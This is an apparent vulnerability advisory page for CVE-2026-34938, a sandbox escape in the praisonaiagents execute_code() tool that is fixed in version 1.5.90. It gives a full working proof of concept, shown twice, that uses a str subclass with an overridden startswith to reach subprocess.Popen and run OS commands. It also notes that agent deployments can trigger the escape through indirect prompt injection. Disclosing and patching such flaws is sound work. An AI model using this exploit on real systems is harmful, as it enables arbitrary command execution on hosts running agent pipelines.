PYSEC-2026-484
Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-06-29 12:05
VLAI
Details
Summary
execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.
Details
python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)
```python
source -- _safe_getattr accepts any str subclass
def safe_getattr(obj, name, *default): if isinstance(name, str) and name.startswith(''): # isinstance passes for subclasses raise AttributeError(...)
hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
sink -- Popen reached via subclasses walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
### PoC
```python
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
Severity
10.0 (Critical)
Impacted products
| Name | purl | praisonaiagents |
|---|
Aliases
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.89"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.90"
}
],
"type": "ECOSYSTEM"
}
],
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]
}
],
"aliases": [
"CVE-2026-34938",
"GHSA-6vh2-h83c-9294"
],
"details": "### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -\u003e `python_tools.py:22` (guard bypass) -\u003e `python_tools.py:161` (sink)\n ```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n if isinstance(name, str) and name.startswith(\u0027_\u0027): # isinstance passes for subclasses\n raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type(\u0027FakeStr\u0027, (str,), {\u0027startswith\u0027: lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen([\u0027id\u0027], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\n from praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\n t = type\nFakeStr = t(\u0027FakeStr\u0027, (str,), {\u0027startswith\u0027: lambda self, *a: False})\n\nmro_attr = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027m\u0027,\u0027r\u0027,\u0027o\u0027,\u0027_\u0027,\u0027_\u0027]))\nsubs_attr = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027s\u0027,\u0027u\u0027,\u0027b\u0027,\u0027c\u0027,\u0027l\u0027,\u0027a\u0027,\u0027s\u0027,\u0027s\u0027,\u0027e\u0027,\u0027s\u0027,\u0027_\u0027,\u0027_\u0027]))\nmod_attr = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027m\u0027,\u0027o\u0027,\u0027d\u0027,\u0027u\u0027,\u0027l\u0027,\u0027e\u0027,\u0027_\u0027,\u0027_\u0027]))\nname_attr = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027n\u0027,\u0027a\u0027,\u0027m\u0027,\u0027e\u0027,\u0027_\u0027,\u0027_\u0027]))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n try:\n m = getattr(cls, mod_attr, \u0027\u0027)\n n = getattr(cls, name_attr, \u0027\u0027)\n if m == \u0027subprocess\u0027 and n == \u0027Popen\u0027:\n r = cls([\u0027id\u0027], stdout=PIPE, stderr=PIPE)\n out, err = r.communicate()\n print(\u0027RCE:\u0027, out.decode())\n break\n except Exception as e:\n print(\u0027ERR:\u0027, e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\n Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.",
"id": "PYSEC-2026-484",
"modified": "2026-06-29T12:05:43.518082Z",
"published": "2026-06-29T11:50:48.390200Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34938"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonaiagents"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6vh2-h83c-9294"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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